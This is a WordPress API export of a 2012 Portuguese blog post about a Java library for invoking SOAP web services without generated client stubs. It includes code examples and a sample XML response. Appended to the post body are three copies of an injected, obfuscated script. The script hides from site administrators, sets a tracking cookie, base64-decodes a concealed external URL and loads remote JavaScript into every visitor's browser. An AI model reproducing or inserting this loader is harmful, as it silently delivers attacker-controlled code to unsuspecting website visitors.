{"id":3678,"date":"2012-12-12T16:34:30","date_gmt":"2012-12-12T18:34:30","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=3678"},"modified":"2025-10-26T22:34:49","modified_gmt":"2025-10-27T01:34:49","slug":"chamando-servicos-soap-sem-proxy-stubs-e-afins","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2012\/12\/12\/chamando-servicos-soap-sem-proxy-stubs-e-afins\/","title":{"rendered":"Chamando servi\u00e7os SOAP sem Proxy, Stubs e afins"},"content":{"rendered":"<p>Uma das dificuldades em projetos com Web Services utilizando SOAP\/XML \u00e9 a necessidade de gerar as classes clientes para a invoca\u00e7\u00e3o do servi\u00e7o. T\u00e1 certo que isso \u00e9 feito de maneira muito simples com as ferramentas necess\u00e1rias, mas fiquei com uma certa inveja do PHP. <a title=\"Chamando um WebService SOAP com PHP\" href=\"http:\/\/www.thiagovespa.com.br\/blog\/2012\/05\/31\/chamando-um-webservice-soap-com-php\/\">Nesse artigo<\/a>, podemos ver que \u00e9 muito simples invocar servi\u00e7os SOAP no PHP. T\u00e1 certo que n\u00e3o tem as valida\u00e7\u00f5es de estrutura e verifica\u00e7\u00f5es que o jeito tradicional Java tem, mas em alguns casos, como testes unit\u00e1rios de servi\u00e7os \u00e9 muito mais simples fazer dessa forma. Pensando nisso criei um utilit\u00e1rio para facilitar esse tipo de requisi\u00e7\u00e3o.<\/p>\n<p>\u00c9 s\u00f3 colocar a lib no classpath e utiliz\u00e1-la. Voc\u00ea pode fazer o download do fonte ou\u00a0<a title=\"Download\" href=\"http:\/\/code.google.com\/p\/gvlabs-soap-utils\/downloads\/detail?name=gvlabs-soap-utils-1.6.jar\" target=\"_blank\" rel=\"noopener\">dessa lib no Google Code<\/a>, o c\u00f3digo fonte est\u00e1 <a title=\"GitHub\" href=\"https:\/\/github.com\/thiagovespa\/gvlabs-soap-utils\" target=\"_blank\" rel=\"noopener\">dispon\u00edvel tamb\u00e9m no GitHub<\/a>. Para utiliz\u00e1-la \u00e9 muito simples. Voc\u00ea pode inclusive fazer tudo em uma linha, dessa forma:<\/p>\n<pre class=\"brush: java; title: ; notranslate\" title=\"\">\nString response = new SoapClient(&quot;http:\/\/endpointhost.com\/endpoint&quot;).invokeOperation(&quot;operation&quot;, &quot;&lt;payload&gt;something&lt;\/payload&quot;);\n<\/pre>\n<p>Ou se voc\u00ea quiser algo mais organizado, segue um exemplo de um <a title=\"ConvertWeight\" href=\"http:\/\/www.webservicex.net\/ConvertWeight.asmx\" target=\"_blank\" rel=\"noopener\">servi\u00e7o de convers\u00e3o de peso<\/a>:<\/p>\n<pre class=\"brush: java; title: ; notranslate\" title=\"\">\n\t\tString endpoint = &quot;http:\/\/www.webservicex.net\/ConvertWeight.asmx&quot;;\n\t\tString operation = &quot;http:\/\/www.webserviceX.NET\/ConvertWeight&quot;;\n\t\tString input = &quot;&lt;web:ConvertWeight xmlns:web=\\&quot;http:\/\/www.webserviceX.NET\/\\&quot;&gt;&quot;\n\t\t\t\t+ &quot;&lt;web:Weight&gt;7&lt;\/web:Weight&gt;&quot;\n\t\t\t\t+ &quot;&lt;web:FromUnit&gt;Grains&lt;\/web:FromUnit&gt;&quot;\n\t\t\t\t+ &quot;&lt;web:ToUnit&gt;Grams&lt;\/web:ToUnit&gt;&quot; + &quot;&lt;\/web:ConvertWeight&gt;&quot;;\n\n\t\tSoapClient soapClient = new SoapClient(endpoint);\n\n\t\tString response = response = soapClient.invokeOperation(operation, input);\n<\/pre>\n<p>O response ter\u00e1 o seguinte conte\u00fado:<\/p>\n<pre class=\"brush: xml; title: ; notranslate\" title=\"\">\n&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;\n&lt;soap:Envelope xmlns:soap=&quot;http:\/\/schemas.xmlsoap.org\/soap\/envelope\/&quot; xmlns:xsi=&quot;http:\/\/www.w3.org\/2001\/XMLSchema-instance&quot; xmlns:xsd=&quot;http:\/\/www.w3.org\/2001\/XMLSchema&quot;&gt;\n   &lt;soap:Body&gt;\n      &lt;ConvertWeightResponse xmlns=&quot;http:\/\/www.webserviceX.NET\/&quot;&gt;\n         &lt;ConvertWeightResult&gt;0.4536&lt;\/ConvertWeightResult&gt;\n      &lt;\/ConvertWeightResponse&gt;\n   &lt;\/soap:Body&gt;\n&lt;\/soap:Envelope&gt;\n<\/pre>\n<p>Agora vou usar nos meus testes de servi\u00e7os.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Uma das dificuldades em projetos com Web Services utilizando SOAP\/XML \u00e9 a necessidade de gerar as classes clientes para a invoca\u00e7\u00e3o do servi\u00e7o. T\u00e1 certo que isso \u00e9 feito de maneira muito simples com as ferramentas necess\u00e1rias, mas fiquei com <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2012\/12\/12\/chamando-servicos-soap-sem-proxy-stubs-e-afins\/\">Continue lendo  <span class=\"screen-reader-text\">  Chamando servi\u00e7os SOAP sem Proxy, Stubs e afins<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[3,76],"tags":[],"class_list":["post-3678","post","type-post","status-publish","format-standard","hentry","category-java","category-soa-2"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/3678","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=3678"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/3678\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=3678"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=3678"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=3678"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}